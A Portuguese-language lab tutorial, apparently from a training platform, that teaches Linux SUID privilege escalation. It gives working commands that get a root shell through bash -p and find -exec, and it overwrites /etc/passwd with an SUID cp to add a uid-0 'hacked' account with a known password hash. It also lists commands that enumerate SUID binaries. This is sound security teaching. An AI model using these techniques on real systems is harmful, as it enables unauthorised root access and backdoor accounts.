Introdução
Neste laboratório, você aprenderá sobre a permissão SUID (Set user ID upon execution) e como aproveitá-la para escalonamento de privilégios em sistemas Linux. O objetivo é obter acesso root explorando binários SUID com várias técnicas, incluindo o uso dos comandos bash, find, cp e mv.
Entendendo SUID
Nesta etapa, você entenderá o conceito da permissão SUID e suas implicações.
Normalmente, quando um programa é executado no Linux, ele é executado com as permissões do usuário atual. No entanto, alguns programas, como cp, exigem privilégios elevados para realizar certas operações, como copiar arquivos para diretórios restritos. Para permitir que usuários regulares executem esses programas com privilégios elevados, a permissão SUID pode ser definida no arquivo executável.
SUID significa "Set user ID upon execution" (Definir ID de usuário na execução). Quando um arquivo tem a permissão SUID definida, ele é executado com as permissões de seu proprietário, independentemente do usuário que o executa. Por exemplo, o comando cp é propriedade do usuário root e tem o bit SUID definido, permitindo que qualquer usuário o execute com privilégios de root.
Para verificar a permissão SUID no comando cp e salvar a saída em um arquivo, execute o seguinte comando:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
Visualize o conteúdo do arquivo suid_cp.txt usando o seguinte comando:
cat /home/labex/project/suid_cp.txt
Saída esperada:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
Você deve ver um s nos bits de permissão, indicando a permissão SUID.
Embora o SUID possa ser útil para permitir que usuários regulares executem comandos privilegiados específicos, ele também pode ser explorado se o binário SUID fornecer funcionalidade para executar comandos do sistema ou modificar arquivos.
Explorando SUID com bash
Nesta etapa, você aprenderá como explorar o comando bash com a permissão SUID para escalonamento de privilégios.
Primeiro, abra um terminal e navegue até o diretório
/home/labex/project.cd /home/labex/projectVerifique as permissões do comando
bash.ls -l /bin/bashSaída esperada:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashSe o comando
bashtiver o bit SUID definido, você pode usá-lo para executar comandos do sistema com privilégios de root usando o seguinte comando:bash -pUsando
whoami, você pode verificar se tem um shell root.whoamiSaída esperada:
rootAgora, você pode criar um arquivo chamado
root.txtno diretório/roote verificar o conteúdo do arquivo.touch /root/root.txtVocê deve ver o arquivo
root.txtno diretório/root.
Explorando SUID com find
Nesta etapa, você aprenderá como explorar o comando find com a permissão SUID para escalonamento de privilégios.
Após a etapa anterior, você deve ter um shell root. Para esta etapa, você precisa sair do shell root e fazer login novamente como o usuário labex usando o comando exit ou abrindo um novo terminal.
Primeiro, navegue até o diretório
/home/labex/project:cd /home/labex/projectVerifique as permissões do comando
find:ls -l /usr/bin/findSe o comando
findtiver o bit SUID definido, você pode usá-lo para executar comandos do sistema com privilégios de root.A sintaxe para executar um comando com
findé:find < file > -exec < command > \;Aqui,
<file>pode ser qualquer arquivo. Vamos criar um arquivo chamadotest:touch testAgora, você pode executar comandos usando
find:find test -exec whoami \;Isso executará o comando
whoamicom privilégios de root. No entanto, este método não é conveniente para comandos interativos comosshousu.Para obter um shell root mais conveniente, você pode executar o comando
/bin/bash:find test -exec /bin/bash -p \;Observação: A flag
-pé necessária para preservar o ID de usuário efetivo (EUID) e evitar que ele seja redefinido para o ID de usuário real (RUID).Você deve ter um shell root agora. Crie um arquivo chamado
root.txtno diretório/roote verifique o conteúdo do arquivo:touch /root/root.txtVocê deve ver o arquivo
root.txtno diretório/root.
Explorando SUID com cp e mv
Nesta etapa, você aprenderá como explorar os comandos cp e mv com a permissão SUID para escalonamento de privilégios, modificando o arquivo /etc/passwd ou /etc/shadow.
Após a etapa anterior, você deve ter um shell root. Para esta etapa, você precisa sair do shell root e fazer login novamente como o usuário labex usando o comando exit ou abrindo um novo terminal.
Primeiro, navegue até o diretório
/home/labex/project:cd /home/labex/projectVerifique as permissões do comando
cp:ls -l /bin/cpSe o comando
cptiver o bit SUID definido, você pode prosseguir com a exploração.Copie o conteúdo de
/etc/passwdpara um arquivo em seu diretório home:cat /etc/passwd > /home/labex/project/passwdCrie uma nova entrada de usuário com os seguintes detalhes:
- Nome de usuário: hacked
- Senha: pass123
Insira a seguinte linha no final do arquivo
/home/labex/project/passwd:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwdAgora, use o comando
cpcom a permissão SUID para sobrescrever o arquivo/etc/passwd:cp /home/labex/project/passwd /etc/passwdApós sobrescrever o arquivo, você pode mudar para o usuário
hackedcom a senhapass123usando o comandosu:su hackedComo o usuário
hackedtem um ID de usuário (uid) de0, você terá privilégios de root.O método de exploração para o comando
mvé semelhante aocp. Você pode tentar por conta própria.
Encontrando Binários SUID
Nesta etapa, você aprenderá como encontrar binários SUID em um sistema que podem ser potencialmente explorados para escalonamento de privilégios.
Você pode usar os seguintes comandos para listar todos os arquivos executáveis com o bit SUID definido:
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;Navegue até o diretório
/home/labex/projectpara realizar as seguintes etapas.cd /home/labex/projectEscolha qualquer um dos comandos para listar os binários SUID no sistema e analisar a saída.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtVerifique o conteúdo do arquivo
check_results.txtpara visualizar a lista de binários SUID no sistema.cat check_results.txtNo entanto, a saída pode conter muitos arquivos que não podem ser explorados para escalonamento de privilégios, exigindo análise manual.
Resumo
Neste laboratório, você aprendeu sobre a permissão SUID e como aproveitar vários binários SUID, como bash, find, cp e mv, para escalonamento de privilégios em sistemas Linux. Você adquiriu experiência prática na exploração desses binários para obter acesso root, uma habilidade crucial no campo da segurança cibernética. O laboratório forneceu um cenário prático e guiou você pelas etapas para entender e aplicar as técnicas de forma eficaz.



